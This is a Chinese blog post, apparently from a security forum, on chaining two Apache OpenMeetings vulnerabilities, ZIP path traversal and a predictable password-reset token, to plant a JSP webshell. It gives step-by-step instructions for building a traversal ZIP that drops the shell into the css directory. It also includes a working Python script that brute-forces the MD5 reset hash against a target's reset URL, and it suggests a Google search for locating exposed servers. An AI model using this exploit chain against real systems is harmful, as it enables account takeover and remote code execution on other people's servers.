Apache OpenMeetings 会议系统getshell初探
Apache OpenMeetings 算是比较冷门的系统,国内比较少见,要么都在内网吧。
根据已经发布的漏洞:
Apache OpenMeetings ZIP文件路径遍历(穿越)漏洞(CVE-2016-0784)
Apache OpenMeeting可预测密码重置令牌漏洞(CVE-2016-0783)
存在理论上getshell的可行性;
1. 本地搭建openmeetings环境;
2. 验证ZIP文件路径穿越漏洞;
准备穿越用的zip;
将jsp脚本改名为aaaaaaaaaaaaaaaaas2.jsp
然后zip,
用UE打开,查找aaa(ASCII)
替换aaa为../
我们这里替换为 ../../../../ 跳4次
文件头和尾都有;
保存zip
上传:
管理员登录,找到backup/import
导入zip
会报一个错,不用理会的;
查看文件:
看来4跳走远了,3跳就够了;
其实jsp脚本放在openmeetings的根目录是不能运行的;但是我们放在css这样的目录就可以了;
效果如下:
:5080/openmeetings/css/aaaas2.jsp
如何获得shell就这样了;
Apache OpenMeeting可预测密码重置令牌漏洞
根据描述,查看源码,大概了解是这样的
private void sendHashByUser(User us, String appLink, UserDao userDao) throws Exception { String loginData = us.getLogin() + new Date(); log.debug("User: " + us.getLogin()); us.setResethash(ManageCryptStyle.getInstanceOfCrypt().createPassPhrase(loginData)); userDao.update(us, -1L); String reset_link = appLink + "?hash=" + us.getResethash(); String email = us.getAdresses().getEmail(); String template = ResetPasswordTemplate.getEmail(reset_link); getBean(MailHandler.class).send(email, Application.getString(517), template); }
hash=md5(user+java:Date())
Java的Date()格式输出是这样的
Thu Apr 28 10:52:24 CST 2016
操作如下:
这里有一个坑,忘记密码,我们看到的样子是这样的;
结果我个人的本地环境,居然是这样的;
当时也没有点,死活没有找到忘记密码在哪里点,结果点开之后更坑
原因是我在安装的时候选择了“中文”,这特么也太远了,那个是用户啊!
重置操作:
中文的
猜解hash
#coding=utf-8 import time,sys import requests,hashlib def md5(str): m = hashlib.md5() m.update(str) return m.hexdigest() if __name__=='__main__': reset_time_format=time.strftime("%a %b %d %H:%M:%S",time.localtime()) print 'Date_Time_Format: '+reset_time_format+' CST 2016' current_xtime=time.strftime("%a %b %d %H:",time.localtime()) opm_link=sys.argv[1] opm_port=sys.argv[2] opm_user=sys.argv[3] opm_mins=sys.argv[4] for i in range(0,60): secs = ("%02d"%i) date=current_xtime+str(opm_mins)+':'+str(secs)+' CST 2016' #print date hastr=opm_user+str(date) rest_hash=md5(hastr) url='http://'+opm_link+':'+opm_port+'/openmeetings/reset?hash='+rest_hash reset_action=requests.get(url) req_content=reset_action.text if 'Password set' in req_content: print 'User: '+opm_user+'\n' print 'Password reset url is:\n'+url
估计不了前后几分钟,单独将分钟独立出来,效果:
重置操作
新密码登录,然后zip上传,穿越,得shell。
附注:
date()是带时区的,Thu Apr 28 10:52:24 CST 2016 什么CET CST等;
因此针对国外的用户,这个时间是不一样的,因此问题在利用上需要猜的数量多了很多;
后来上了google,inurl:5080/openmeetings
居然发现了这个:
All Your Meetings Are Belong to Us: Remote Code Execution in Apache OpenMeetings
http://haxx.ml/post/141655340521/all-your-meetings-are-belong-to-us-remote-code
早知道就不搞环境,直接翻译一下算了。
文章中也提到了openmeetings根目录是不能运行jspshell的,但是他采用了另外的方式
修改配置,利用第三方插件来执行程序反弹
最后那句话,本人不仅菜,而且脸皮还厚,请不吝指正。
冲着缩略图进来的。。
不错,谢谢分享。:P